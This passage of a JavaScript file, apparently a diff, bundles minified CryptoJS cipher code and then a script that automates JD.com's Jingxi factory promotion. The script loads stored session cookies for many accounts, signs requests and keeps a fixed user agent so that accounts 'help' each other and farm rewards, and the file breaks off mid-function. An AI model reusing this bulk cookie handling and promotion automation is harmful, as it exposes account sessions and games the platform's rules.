^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('京喜工厂招工互助'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//通知级别 1=生产完毕可兑换通知;2=可兑换通知+生产超时通知+兑换超时通知;3=可兑换通知+生产超时通知+兑换超时通知+未选择商品生产通知(前提:已开通京喜工厂活动);默认第2种通知 +let notifyLevel = $.isNode() ? process.env.JXGC_NOTIFY_LEVEL || 2 : 2; +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = '', jdDreamFactoryShareArr = []; +const newShareCodes = [ + '' +]; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +$.newShareCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDreamFactory() + } + } + console.log(`\n开始账号内互助......`); + for (let j = 0; j < cookiesArr.length; j++) { + if (cookiesArr[j]) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = j + 1; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}:\n`); + await helpFriends(); + await $.wait(4000); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdDreamFactory() { + try { + await userInfo(); + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + $.newShareCode = [...(jdDreamFactoryShareArr || []), ...(newShareCodes || [])] + for (let code of $.newShareCode) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + 